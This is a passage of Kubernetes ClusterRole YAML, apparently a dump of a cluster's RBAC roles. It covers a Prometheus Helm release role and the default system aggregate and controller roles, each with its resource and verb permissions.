    resources:
    - namespaces
    verbs:
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - networkpolicies
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - replicasets
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - resourcequotas
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - statefulsets
    verbs:
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - list
    - watch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingwebhookconfigurations
    verbs:
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - volumeattachments
    verbs:
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    resourceVersion: "1129847"
    uid: 64f424d9-cce4-4fea-8c77-b6ad297e2ae7
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    - nodes/proxy
    - nodes/metrics
    - services
    - endpoints
    - pods
    - ingresses
    - configmaps
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses/status
    - ingresses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - nonResourceURLs:
    - /metrics
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
    name: system:aggregate-to-admin
    resourceVersion: "119"
    uid: 368e77d7-9794-4e81-9aba-419e9ebb2abd
  rules:
  - apiGroups:
    - authorization.k8s.io
    resources:
    - localsubjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - rbac.authorization.k8s.io
    resources:
    - rolebindings
    - roles
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
    name: system:aggregate-to-edit
    resourceVersion: "120"
    uid: 541bb3c3-e96d-4050-81e1-d462e3246669
  rules:
  - apiGroups:
    - ""
    resources:
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    - secrets
    - services/proxy
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - serviceaccounts
    verbs:
    - impersonate
  - apiGroups:
    - ""
    resources:
    - pods
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods/eviction
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - configmaps
    - events
    - persistentvolumeclaims
    - replicationcontrollers
    - replicationcontrollers/scale
    - secrets
    - serviceaccounts
    - services
    - services/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - serviceaccounts/token
    verbs:
    - create
  - apiGroups:
    - apps
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - replicasets
    - replicasets/scale
    - statefulsets
    - statefulsets/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - jobs
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - ingresses
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicationcontrollers/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - networkpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
      rbac.authorization.k8s.io/aggregate-to-view: "true"
    name: system:aggregate-to-view
    resourceVersion: "121"
    uid: e5691b63-78b3-4672-9c71-77fae32eca49
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    - endpoints
    - persistentvolumeclaims
    - persistentvolumeclaims/status
    - pods
    - replicationcontrollers
    - replicationcontrollers/scale
    - serviceaccounts
    - services
    - services/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - bindings
    - events
    - limitranges
    - namespaces/status
    - pods/log
    - pods/status
    - replicationcontrollers/status
    - resourcequotas
    - resourcequotas/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - replicasets
    - replicasets/scale
    - replicasets/status
    - statefulsets
    - statefulsets/scale
    - statefulsets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    - horizontalpodautoscalers/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - cronjobs/status
    - jobs
    - jobs/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - ingresses
    - ingresses/status
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicasets/status
    - replicationcontrollers/scale
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    - poddisruptionbudgets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - ingresses/status
    - networkpolicies
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:auth-delegator
    resourceVersion: "126"
    uid: f874a9d6-6b00-41fc-b73e-1a0f0fc805c2
  rules:
  - apiGroups:
    - authentication.k8s.io
    resources:
    - tokenreviews
    verbs:
    - create
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:basic-user
    resourceVersion: "114"
    uid: 7a208f9c-b3f8-4f6f-91d0-4c4ba032d95c
  rules:
  - apiGroups:
    - authorization.k8s.io
    resources:
    - selfsubjectaccessreviews
    - selfsubjectrulesreviews
    verbs:
    - create
  - apiGroups:
    - authentication.k8s.io
    resources:
    - selfsubjectreviews
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:certificatesigningrequests:nodeclient
    resourceVersion: "131"
    uid: 2ce44d60-da0a-4476-b34b-14c8b682a7ba
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests/nodeclient
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:certificatesigningrequests:selfnodeclient
    resourceVersion: "132"
    uid: 9c45a71d-25a2-4256-9db4-32ed727371f7
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests/selfnodeclient
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:kube-apiserver-client-approver
    resourceVersion: "136"
    uid: 566dff51-4b20-494a-b21d-cb9b86323ead
  rules:
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/kube-apiserver-client
    resources:
    - signers
    verbs:
    - approve
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:kube-apiserver-client-kubelet-approver
    resourceVersion: "137"
    uid: 9546c97e-c1b5-4044-b5de-4f738e7be0a1
  rules:
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/kube-apiserver-client-kubelet
    resources:
    - signers
    verbs:
    - approve
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:kubelet-serving-approver
    resourceVersion: "135"
    uid: 7a9af12a-8251-45ed-aae4-48fbb3582382
  rules:
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/kubelet-serving
    resources:
    - signers
    verbs:
    - approve
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:certificates.k8s.io:legacy-unknown-approver
    resourceVersion: "134"
    uid: c77d58c8-52ed-4cf7-b924-2d79322354f9
  rules:
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/legacy-unknown
    resources:
    - signers
    verbs:
    - approve
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:attachdetach-controller
    resourceVersion: "142"
    uid: cd4ad248-a864-4dd8-96aa-a4e736e63c4c
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    - persistentvolumes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - storage.k8s.io
    resources:
    - volumeattachments
    verbs:
    - create
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csidrivers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csinodes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:certificate-controller
    resourceVersion: "169"
    uid: 32ba7550-dbfc-4441-bf0d-bbd56623b7f7
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests/approval
    - certificatesigningrequests/status
    verbs:
    - update
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/kube-apiserver-client-kubelet
    resources:
    - signers
    verbs:
    - approve
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - kubernetes.io/kube-apiserver-client
    - kubernetes.io/kube-apiserver-client-kubelet
    - kubernetes.io/kubelet-serving
    - kubernetes.io/legacy-unknown
    resources:
    - signers
    verbs:
    - sign
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:clusterrole-aggregation-controller
    resourceVersion: "143"
    uid: 61d41106-fcc9-46c9-92dc-db165310099b
  rules:
  - apiGroups:
    - rbac.authorization.k8s.io
    resources:
    - clusterroles
    verbs:
    - escalate
    - get
    - list
    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:cronjob-controller
    resourceVersion: "144"
    uid: ac5f824c-77c1-4e32-8d34-551448ac5ca4
  rules:
  - apiGroups:
    - batch
    resources:
    - cronjobs
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs/status
    verbs:
    - update
  - apiGroups:
    - batch
    resources:
    - cronjobs/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - delete
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:daemon-set-controller
    resourceVersion: "145"
    uid: 96be8b5b-2620-484d-933f-557f0a0a83fb
  rules:
  - apiGroups:
    - apps
    - extensions
    resources:
    - daemonsets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - daemonsets/status
    verbs:
    - update
  - apiGroups:
    - apps
    - extensions
    resources:
    - daemonsets/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    resources:
    - pods/binding
    verbs:
    - create
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:deployment-controller
    resourceVersion: "146"
    uid: 248c1deb-6adf-45da-a13d-e255971046b6
  rules:
  - apiGroups:
    - apps
    - extensions
    resources:
    - deployments
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - deployments/status
    verbs:
    - update
  - apiGroups:
    - apps
    - extensions
    resources:
    - deployments/finalizers
    verbs:
    - update
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:disruption-controller
    resourceVersion: "147"
    uid: 5c8d4546-c8a4-4b0a-be9a-78dc0afcfffb
  rules:
  - apiGroups:
    - apps
    - extensions
    resources:
    - deployments
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - statefulsets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets/status
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
    - update
  - apiGroups:
    - '*'
    resources:
    - '*/scale'
    verbs:
    - get
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpoint-controller
    resourceVersion: "148"
    uid: acff0b4a-4b2e-4121-b327-344c9b6539f9
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - endpoints
    verbs:
    - create
    - delete
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - endpoints/restricted
    verbs:
    - create
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpointslice-controller
    resourceVersion: "149"
    uid: 2824987a-7738-41d1-8f98-427b4d8bda85
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    - pods
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services/finalizers
    verbs:
    - update
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - create
    - delete
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpointslicemirroring-controller
    resourceVersion: "150"
    uid: a2160fe7-7bd9-4739-9983-65a9f9efe376
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - endpoints/finalizers
    verbs:
    - update
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - create
    - delete
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ephemeral-volume-controller
    resourceVersion: "152"
    uid: 103cff7f-0572-400a-9edc-6921625d8668
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - create
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:expand-controller
    resourceVersion: "151"
    uid: 444ca556-b504-413f-af66-1542f5bf37ab
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:generic-garbage-collector
    resourceVersion: "153"
    uid: 9f58b4ba-f76f-4bca-8981-6a632f8827ef
  rules:
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:horizontal-pod-autoscaler
    resourceVersion: "154"
    uid: 368e58df-c859-4c58-80d1-0dc5bb9a55fb
  rules:
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers/status
    verbs:
    - update
  - apiGroups:
    - '*'
    resources:
    - '*/scale'
    verbs:
    - get
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - list
    - watch
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    verbs:
    - list
    - watch
  - apiGroups:
    - custom.metrics.k8s.io
    resources:
    - '*'
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - external.metrics.k8s.io
    resources:
    - '*'
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:job-controller
    resourceVersion: "155"
    uid: d710b584-3a28-43dd-8819-f0658c60e43e
  rules:
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - batch
    resources:
    - jobs/status
    verbs:
    - update
  - apiGroups:
    - batch
    resources:
    - jobs/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:legacy-service-account-token-cleaner
    resourceVersion: "175"
    uid: 7fd8eb13-e1b6-4436-9f96-f265e6d16cea
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kube-apiserver-legacy-service-account-token-tracking
    resources:
    - configmaps
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - delete
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:namespace-controller
    resourceVersion: "156"
    uid: cff2ea88-1139-49db-8a50-9540ca9836e3
  rules:
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces/finalize
    - namespaces/status
    verbs:
    - update
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - delete
    - deletecollection
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:node-controller
    resourceVersion: "157"
    uid: 3352a82f-2471-4db8-a3bc-36a259657784
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:persistent-volume-binder
    resourceVersion: "158"
    uid: 36fd2df4-593a-4610-9b63-e85943b8cab3
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - create
    - delete
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumes/status
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims/status
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - watch
  - apiGroups:
    - ""
    resources:
    - services
